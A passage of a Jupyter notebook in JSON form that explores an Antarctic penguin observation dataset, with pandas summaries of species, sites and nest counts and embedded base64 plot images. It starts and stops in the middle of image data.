QAAABso0wCAADANpa5AQAAwsTtFEOYTAIAAMA2JpMAAABh4pzJECaTAAAAsI0yCQAAANtY5gYA\nAAiTyTJ3EJNJAAAA2MZkEgAAIExMJkOYTAIAAMA2yiQAAABsY5kbAAAgTAHugBNkqUzOnz9fzzzz\njKKjo4PPvfPOO46FAgAAgDdYKpOvvfaa3n77bcXExDidBwAAAB5iqUw2a9bstKkkAABATcZu7hBL\nZfLkyZMaOHCg2rVrJ8MwJEkZGRmOBgMAAID7WSqTY8eO/c7nDx06pKZNm/6ogQAAANyOyWSIpTLZ\ntWvX73z+3nvv1aJFi37UQAAAAPCOH3TOpMm2eAAAgBrtB50zeerzkwAAADVJgGXuIO6AAwAAANvC\nKpMFBQWnfc0yNwAAQM1maZn7/fff14wZM1RRUaF+/fqpSZMmSklJ0WWXXeZ0PgAAANdhoBZiaTI5\nd+5cvfDCC0pISNC4ceO0ZMkSSdIdd9zhaDgAAAC4m6XJpM/nU3x8vAzDUFRUlOrUqeN0LgAAANcy\nA9WdwD0sTSbPP/98ZWRkqKCgQAsWLFCTJk2czgUAAAAPsFQmp0+friZNmqhz586KiYnRH/7wB6dz\nAQAAwAMsLXNHRkbqhhtucDoLAACAJ3DOZAjnTAIAAMC2H3QHHAAAgJrIZDIZxGQSAAAAtlEmAQAA\nYBvL3AAAAGFimTuEySQAAABso0wCAADANpa5AQAAwhQwWeY+hckkAAAAbGMyCQAAECY24IQwmQQA\nAIBtlEkAAADYxjI3AABAmFjmDmEyCQAAANuYTAIAAIQpwGQyiMkkAAAAbKNMAgAAwDaWuQEAAMJk\ncgecIMokAABADVFaWqopU6bom2++UWxsrGbOnKm6deue9j1//etftXr1akVEROj2229XcnJypT+T\nZW4AAIAaYsmSJWrXrp0WL16swYMHa968eae9fvz4cWVlZWnZsmV69tln9cgjj5z1Z1ImAQAAwmQG\nTFc8wrVlyxb17NlTktSzZ0+9++67p70eExOjpk2bqqioSMXFxfL5zl4VWeYGAAD4CVq+fLmef/75\n055LSEhQbGysJKlOnToqLCw8469r1KiR+vfvL9M0ddttt531fSiTAAAAYfLCOZPDhg3TsGHDTnvu\nzjvvVFFRkSSpqKhIcXFxp72+ceNG5efn66233pJpmho9erQ6deqkjh07fu/7OFom/ecmOPnj4VEd\n46s7AeBydTtUdwJXeKR0T3VHAH5yOnXqpA0bNqhjx47asGGDunTpctrr55xzjqKjo1WrVi1JUlxc\nnI4fP17pz2QyCQAAUEPccMMNmjp1qkaOHCm/36+MjAxJ0nPPPafExET17t1b7777roYPHy6fz6fO\nnTvr8ssvr/RnGiYHJQEAAISlxZiXqjuCJGn/MyOqOwK7uQEAAGAfZRIAAAC28ZlJAACAMJmBiuqO\n4BpMJgEAAGCbrTK5cuXK4O6f/+vo0aNavXq1JGnBggX66KOPVFZWpmXLlln++RkZGVq1apWdaFXu\n1VdfVWpqavDrxYsXa9iwYRo+fLj+/ve/S5IKCws1btw4jRo1Sqmpqdq2bZsk6eDBg7rllls0atQo\njR49WkePHv1Rs5WVlalPnz4/6s/8qdu9e7f+85//SJL69OmjsrKyak4EN1m7dq3y8vIsf//SpUtV\nUVGhnTt3nnHLMjdZuXKl3nrrreqOEXTqugFuZgYqXPFwA9uTScMwvvP5nTt3av369ZKk2267TR07\ndlRubq6WL19u961c65NPPtGKFSuCXx85ckTZ2dlaunSpFi5cqEcffVSStHDhQl1++eXKyspSenq6\nZsyYIUl64IEHNHHiRGVlZSk1NVX79+//UfOZpvm9/5zw3f7xj39oz55vz7bj2uH/ev7557/zbhHf\nZ/78+aqoqFD79u01fvx4B5P9MEOHDlXv3r2rO0bQqesGwBtsf2bSNE3NmTNHH3/8sQoKCtS+fXs9\n8sgjeuqpp7Rr1y4tW7ZMW7duVf/+/YP/gZ43b54CgYAaNGigESNGaO/evXrwwQeVlZWlN954Q/Pn\nz1e9evVUVlam1q1bS5LmzJmjLVu2qKKiQr/+9a/Vr1+/7830wgsvaPXq1TIMQwMGDNBNN92ke++9\nV6Zp6quvvlJJSYkeffRRNW3aVHfffbcKCwt14sQJTZw4UZdffrmWLVumF198UfHx8YqMjNSAAQM0\nZMiQ73yvgoICPfHEE/r973+vBx54QJJUt25d/e1vf5PP51NeXp6ioqIkSbfccov8fr8kqby8XFFR\nUSotLdXhw4e1bt06PfbYY+rYsaOmTJli9x9HUHFxsSZPnqzjx4+refPmkqTNmzcrMzNTpmmquLhY\ns2fP1vvvv6/9+/frnnvuUSAQ0ODBg7VixYpgTi85NVU5ceKE8vPzNWrUKK1bt06fffaZ7rnnHhUX\nF+v5559XVFSUEhMTNWPGDL366qvasGGDTpw4oZycHI0dO1bdunXTyy+/LL/frw4dOsg0TT300EPK\nycmRYRj685//fMadAtxu0qRJGjRokHr16qU9e/Zo1qxZSkhI0IEDB2Sapn7729/qkksu0RtvvKHF\nixeroqJChmEoMzNTu3fv1uzZs+X3+zV8+HANGjTIkYz79+/Xvffeq8jISJmmqdmzZ+vFF18M/nt/\nyy236Oqrrz7j93FGRoYaN278nf8uv/LKK1q0aNFZ/5l/37/fZWVlZ/zckydPaufOnZo6dapefPFF\n/elPf9KOHTt05MiR4J9/mZmZ+uCDD1RcXKxrr71W+fn5SktL080336zs7GzNmTNHv/zlL9W5c2ft\n27dP9evXV2ZmpsrKynTPPfcoLy9P5513njZv3qy0tDStXbtWRUVFKigo0Pjx41W3bl09/vjjioiI\n0Pnnn6/p06d/79/X9u3bNWPGDMXGxqpevXqKiorShAkTlJaWppde+vZIkxEjRujxxx/Xyy+/rISE\nBLVq1UpPP/20atWqpS+++EL9+/fXuHHjvvef3bJly5SdnS3TNNWnTx9NmDDhe6/93r17NWnSJJWV\nlalfv35av369Ro0apQ4dOuizzz5TUVGR5s6dq02bNgWvW2Zmpu3fV4WFhbr//vt1/Phx5ebmauTI\nkbrwwgv1yCOPyDRNNWrUSLNnz9ann36q9PT04HOPPfaYxowZoxkzZqhly5bKzs5Wfn6+hg4dqnHj\nxqlu3brq1auXkpKSzvj9mJiYqHnz5mndunUKBAJKTU2VYRie+rO2vLxcDz74oA4ePKhAIKC7775b\nXbt2PeP73n///bB+r+CnzXaZPHnypBo0aKC//vWvMk1TAwYMUG5ursaNG6eXXnpJKSkp2rp1qwzD\n0Lhx4/TZZ59p/PjxZ/zhYBiGysvL9ej/a+/eY6ou/D+OP7kqoKiIMDCQi6BZwURSy1upW1uXeUUE\nhEzFspk3VECnkum0LNDhJcNL1hxpMS3ULJmbJk0xZ15wS0EE0RIV2dRxUc/5/cH4IHH4JscM9fd6\n/MXODp/zPp/L+7zP+/35nM/HH7Nz505cXV2N+0AePHiQ0tJStm7dSk1NDWPGjKF///7GPSXvV1hY\nyJ49e8jMzMRsNvPOO+/Qr18/AHx9fVm+fDkHDhzgk08+ISEhgYqKCjZs2MD169e5cOECN27cYMOG\nDWRnZ2Nvb09cXFyT791kMjF//nySkpJwdHTk/p/qtLW1ZevWraSnpxMbGwtgxHv16lXmzp3L/Pnz\nqaio4Ny5cyxcuJCZM2cyf/58duzYwciRI63dJAB88803BAcHM2PGDE6ePMnhw4cpKCjg008/pVOn\nTqxfv56ffvqJcePGMXLkSObMmcMvv/xC3759H9vk9iBu377Nxo0b2bNnD1u2bGHbtm3k5eWxadMm\nioqK2LlzJ05OTixfvpxt27bh7OzMrVu32LBhA8XFxbz33nsMHz6ckSNH0qlTJ0JCQgCIiIigZ8+e\nJCcnk5ub+z+/zDyOxowZQ2ZmJoMGDSIrK4uwsDBu3brF0qVLqaioYNy4cezatYsLFy6QkZFBq1at\nWLhwIYcOHcLDw4Oamhq2b9/+SGPMzc0lNDSUOXPmcPToUXJycrh06VKD475fv36cO3euwX68d+9e\nhgwZ0uhYrqioYPXq1Xz//fcPtM0tKSkpabTcQYMG8eyzz7J48WKqqqpo164dGzdubJD/AAIDA5k3\nbx4AmzZtIi0tjePHjxud7tLSUr7++ms8PT2Jjo7m1KlT/P777/j4+LBq1SrOnz/PW2+9BUBVVRVf\nfvkl169fJyIiAjs7O7Zt24abmxurVq1ix44d2NvbN3hfU6ZMYfjw4aSkpLBixQoCAwNJS0sz4ru/\n427p7z///JPs7GyqqqoYMGBAkwVCeXm5kTMdHR1JTU3l8uXLTa77pl43NDSUefPmkZaWxq5du4iP\nj2fdunWkpaU1b0eysA3ffPNNhg4dSllZGbGxsTg7O5Oamoq/vz9ZWVkUFBSwaNEi0tLSjMcKCwub\nnEpcv36dnTt3YmdnR2ZmZqP9ceDAgRw6dIisrCzu3r3LZ599xgcffMCIESOemFz77bff4ubm1ihH\nWPKg+8rTyqzuucHqYtLGxoZr166RkJCAs7MzlZWV3L17t1nLqCvCysvLadeuHa6urgD07NkTqD1/\nLT8/n7i4OMxmM/fu3aO0tJTu3bs3WtbZs2e5fPkyb7/9NmazmZs3b1JSUgJA3759gdpbCC1fvpyu\nXbsSGRnJrFmzuHv3LrGxsZSUlBAUFGQc5HUxWHL69GlKSkpISUmhurqawsJCli1bRnJyMgAxMTFE\nRkYyadIk8vLy6N27N3/88QezZ88mMTGR8PBwqquradOmDS+++CIAr776Kr/++utDF5MXLlzglVde\nAbFd9NgAAAqCSURBVCAkJAQHBwc8PDz46KOPcHFx4cqVK4SFheHi4kLv3r05ePAgWVlZTJ069aFe\nt6X16NEDqL3tU0BAAFB7S6iqqiq6du2Kk5MTAOHh4eTm5hISEsKzz9bess7Ly6vJcyOfe+45ANzd\n3amqqnrUb+Nf16dPH5YsWUJ5eTm5ubmEhYXx22+/ceLECeOYqqiowM3NjcTERJycnCgqKiIsLAwA\nf3//Rx5jREQEX3zxBRMnTsTV1ZVu3bpx+vTpRse9p6dno/3Y0rF88eJFgoKCrN7mQKPl1n25NJvN\nmM1mWrdu3WT++/s6+/t9Idzc3PD09DTiqMshAwcOBCAgIIAOHToAGPmhY8eOODk5UVxczIwZMzCb\nzdTU1PDyyy/j6+vb4H1VV1cDUFZWZkx4wsPD2bNnT6N4TCZTo/ceHByMjY0NTk5OtG7dusl1dPHi\nRYKDg42cOWvWLE6dOtXkum9qfdwf+7Vr1xqs54fRsWNHtmzZws8//4yLiwt37tzh6tWrxvYZNWoU\nANeuXWv02P2vff/fzzzzDHZ2dgAW82pRUZHxXu3t7UlMTAR4onLt2bNnOXbsWKMc0b594/vgPui+\nIk8/q4vJI0eO4OfnR2pqKuXl5ezbtw+z2YytrW2jBGVra2uc/+Lo6GicwJ6fnw/UHvQ3b97kxo0b\ndOjQgVOnTuHl5UVgYCB9+vRh8eLFmM1m1q5di6+vr8V4/P39CQoKIiMjA6g9t6lbt27s3buX/Px8\nwsLCOHbsGEFBQcZIZf369Vy9epWoqCi+++47zp8/T01NDfb29pw8edJIxH8XEhJCdnY2AJcuXSIh\nIYHk5GSKiopITU0lPT0dOzs7HB0dsbW1paCggBkzZrBy5Uq6desGQKtWrfDz8+PYsWP06tWLo0eP\n0rVrV2s3hyEwMJDjx48zePBgzpw5w507d1i4cCH79u3D2dmZpKQk47kRERFkZGRQUVFBcHDwQ792\nS2qqk2BjY0NBQQGVlZU4OTmRl5eHn59fo/+p+8CwsbGx+AH7JBs2bBhLly6lf//+eHl54eXlxeTJ\nk6murubzzz/H3t6e9PR0Dhw4YHT169aHre2j/8GHnJwcwsPDmTp1Krt37yY1NZV+/fo1OO59fHyY\nMGECOTk5Dfbjs2fPWjyWCwoKqKqqonXr1v+4zS2xtNxBgwYZ+e3gwYP89ddfpKWlUV5eTk5OjsV1\nZikf3q/uf4KDgzl+/DhDhgwxuqJQnyOvXbtGdXU1fn5+rF27ljZt2rB//35cXFy4fPmyxf3fy8uL\nwsJCAgMDOXHiBFCbd8rLy40v3KWlpf+4fZri4+PD+fPnuXPnDg4ODkybNo2kpCSL675Vq1ZGZ/T0\n6dMNlmMpdltb24cuJjdv3kzPnj0ZO3YsR44c4cCBA3h4eFBcXEyXLl3IyMjA398fDw8PSkpK8PX1\nNR5r3bq1UXieOXPGKP7vj3XBggWN9seAgAAyMzOB2undu+++y/r165+oXBsQENAoR1gqJEHnlT8u\nF788DqwuJkNCQsjPzzdGub6+vpSVleHj48PZs2f56quvjOd27NjRaPmPHTuW6dOnk5eXZ3R97Ozs\nWLBgARMnTjTOV4Tabt2RI0eIiYmhsrKSoUOH4uzsbDGe7t2707dvX6KioqipqSE0NBQPDw+gdlye\nk5ODyWRi+fLldOrUifT0dH788UfMZjPTp0+nffv2TJo0iejoaNq1a0d1dbURx4Py9/ene/fuREZG\nYmNjw6BBgwgPD+f999+npqaGpUuXYjabcXV1Zc2aNSxZsoTFixdjMpno3Lnzv3LOZFRUFHPnziUm\nJoaAgABatWrFa6+9RnR0NM7Ozri7uxtJPSQkhOLiYmMbPo3s7e2ZNm0acXFxxnlms2fPZvfu3Q2e\nV5cUn3/+eVasWEFAQECTY7knzYgRI1i5ciW7du3C29ubBQsWEBsby+3bt4mKiqJNmzb06tWLMWPG\nYGdnR/v27SkrK6Nz587/SXwvvPACiYmJrFu3DpPJRHp6Oj/88EOD497FxYVhw4Y12o/9/PxYvXp1\no2N52rRpxMbGPtA2t8TScqF2YlEX69q1a41jx8fHxziu7terVy8mT57cZDeqLobRo0eTlJREbGws\nXl5eRrfv6tWrjB8/nlu3bpGSkoKtrS2TJ0/GZDLRtm1bPv74Yy5fvmxx2QsXLmTevHm4uLjg4OCA\np6cn7u7uvPTSS4waNQofHx+6dOnSZEz/xM3Njfj4eMaNG4eNjQ2DBw/G29vb4rqvrq4mMzOTmJgY\nevToYZx73NRrhYeHEx8f3+BzpLleffVVlixZwu7du2nbti329vakpKQwb948bG1t8fDwYPz48Xh6\nepKcnNzgMQcHB1JSUvD29jYKyb/Ha2l/7N69OwMGDGDs2LGYzWaioqJwcHB4onJtZGRkoxwh8k+e\n+ntzJycn88Ybb9C/f///+bx79+6RkZFhnPMRExPDzJkzCQ8P/y/CbBEmk4no6Gg2btyIi4tLS4cj\nj8iVK1dISkpi8+bNLR2KNKHuop1+/fpRXFxMfHw8U6ZMoaioiFmzZlm1zK1bt/L666/ToUMHVq5c\niaOj42N9RfnTTLn26fRMzMaWDgGA0q0TWzqEJ+8OONu3byc7O9v4hlj38zcJCQmEhoZavVw7Ozsq\nKysZOXIkjo6OhIaG4u3tTWxsbKPX6t2792N/3ss/KS0tZerUqYwePVrJ7Sm2b98+0tPT+fDDD1s6\nlMfSo8onzeXj42NcvXzv3j0WLVpksdPZHO7u7kyYMAFnZ2eji2mN/fv3s3nz5kbrKC4ujqFDhz5U\njP8fPOm5ds2aNRw+fLjR9l+2bNl/Nr14XGnMXe+p70yKiIiI/Ns6R33R0iEAcClzckuHoNspioiI\niIj1nrgxt4iIiEhL05i7njqTIiIiImI1dSZFREREmkmdyXrqTIqIiIiI1VRMioiIiIjVNOYWERER\naSaNueupMykiIiIiVlNnUkRERKSZTOpMGtSZFBERERGrqZgUEREREatpzC0iIiLSTLoAp546kyIi\nIiJiNRWTIiIiImI1jblFREREmklj7nrqTIqIiIiI1dSZFBEREWkm8z11JuuoMykiIiIiVlMxKSIi\nIiJW05hbREREpJl0AU49dSZFRERExGoqJkVERETEahpzi4iIiDSTxtz11JkUEREREaupMykiIiLS\nTOpM1lNnUkRERESspmJSRERERKymMbeIiIhIM5lNppYO4bGhzqSIiIiIWE2dSREREZFm0gU49dSZ\nFBERERGrqZgUEREREatpzC0iIiLSTBpz11NnUkRERESspmJSRERERKymMbeIiIhIM5k05jaoMyki\nIiIiVlNnUkRERKSZzPfUmayjzqSIiIiIWE3FpIiIiIhYTWNuERERkWbS70zWU2dSRERERKymzqSI\niIhIM6kzWU+dSRERERGxmopJEREREbGaxtwiIiIizaQxdz11JkVERETEaiomRURERMRqGnOLiIiI\nNJPG3PXUmRQRERERq9mYzWZzSwchIiIiIk8mdSZFRERExGoqJkVERETEaiomRURERMRqKiZFRERE\nxGoqJkVERETEaiomRURERMRq/weo+rJqBqDNxQAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1ea15ef4470>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "\n", "corr = observations.select_dtypes(include = ['float64', 'int64']).iloc[:, 1:].corr()\n", "plt.figure(figsize=(12, 12))\n", "sns.heatmap(corr, vmax=1, square=True)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "We have 2952 penguin observations from 1895 to 2013 at 619 unique sites in the Antarctic!\n" ] } ], "source": [ "\n", "print(\n", " \"We have {} penguin observations from {} to {} at {} unique sites in the Antarctic!\" \\\n", " .format(observations.shape[0],\n", " observations.season_starting.min(),\n", " observations.season_starting.max(),\n", " observations.site_id.nunique())\n", ")\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "adelie penguin 1387\n", "gentoo penguin 791\n", "chinstrap penguin 774\n", "Name: common_name, dtype: int64" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\n", "# How many observations do we have for each species?\n", "observations.common_name.value_counts()" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "common_name\n", "adelie penguin 281\n", "chinstrap penguin 340\n", "gentoo penguin 105\n", "Name: site_id, dtype: int64" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\n", "# How many differnet sites do we see each species at?\n", "(observations.groupby(\"common_name\")\n", " .site_id\n", " .nunique())" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "common_name count_type\n", "adelie penguin nests 976\n", " adults 223\n", " chicks 188\n", "chinstrap penguin nests 608\n", " adults 86\n", " chicks 80\n", "gentoo penguin nests 629\n", " chicks 161\n", " adults 1\n", "Name: count_type, dtype: int64" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\n", "# How many count types do we have for each species?\n", "(observations.groupby(\"common_name\")\n", " .count_type\n", " .value_counts())" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>2004</th>\n", " <th>2005</th>\n", " <th>2006</th>\n", " <th>2007</th>\n", " <th>2008</th>\n", " <th>2009</th>\n", " <th>2010</th>\n", " <th>2011</th>\n", " <th>2012</th>\n", " <th>2013</th>\n", " </tr>\n", " <tr>\n", " <th>site_id</th>\n", " <th>common_name</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">ACUN</th>\n", " <th>adelie penguin</th>\n", " <td>1880.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>3079.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>chinstrap penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>ADAM</th>\n", " <th>adelie penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>76.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>ADAR</th>\n", " <th>adelie penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>338231.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>428516.0</td>\n", " </tr>\n", " <tr>\n", " <th>AILS</th>\n", " <th>chinstrap penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">AITC</th>\n", " <th>chinstrap penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>5620.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>4047.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>gentoo penguin</th>\n", " <td>NaN</td>\n", " <td>1998.0</td>\n", " <td>1639.0</td>\n", " <td>1383.0</td>\n", " <td>2210.0</td>\n", " <td>1900.0</td>\n", " <td>1319.0</td>\n", " <td>2213.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>AITK</th>\n", " <th>chinstrap penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>AKAR</th>\n", " <th>adelie penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>106.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " <tr>\n", " <th>ALAS</th>\n", " <th>adelie penguin</th>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>1080.0</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 2004 2005 2006 2007 2008 2009 \\\n", "site_id common_name \n", "ACUN adelie penguin 1880.0 NaN NaN NaN NaN NaN \n", " chinstrap penguin NaN NaN NaN NaN NaN NaN \n", "ADAM adelie penguin NaN NaN NaN NaN NaN 76.0 \n", "ADAR adelie penguin NaN NaN NaN NaN NaN NaN \n", "AILS chinstrap penguin NaN NaN NaN NaN NaN NaN \n", "AITC chinstrap penguin NaN NaN NaN NaN 5620.0 NaN \n", " gentoo penguin NaN 1998.0 1639.0 1383.0 2210.0 1900.0 \n", "AITK chinstrap penguin NaN NaN NaN NaN NaN NaN \n", "AKAR adelie penguin NaN NaN NaN NaN NaN NaN \n", "ALAS adelie penguin NaN NaN NaN NaN 1080.0 NaN \n", "\n", " 2010 2011 2012 2013 \n", "site_id common_name \n", "ACUN adelie penguin 3079.0 NaN NaN NaN \n", " chinstrap penguin NaN NaN NaN NaN \n", "ADAM adelie penguin NaN NaN NaN NaN \n", "ADAR adelie penguin 338231.0 NaN NaN 428516.0 \n", "AILS chinstrap penguin NaN NaN NaN NaN \n", "AITC chinstrap penguin NaN 4047.0 NaN NaN \n", " gentoo penguin 1319.0 2213.0 NaN NaN \n", "AITK chinstrap penguin NaN NaN NaN NaN \n", "AKAR adelie penguin 106.0 NaN NaN NaN \n", "ALAS adelie penguin NaN NaN NaN NaN " ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\n", "nest_counts = pd.read_csv(\n", " os.path.join('data', 'training_set_nest_counts.csv'),\n", " index_col=[0,1]\n", " )\n", "\n", "# Let's look at the first 10 rows, and the last 10 columns\n", "nest_counts.iloc[:10, -10:]" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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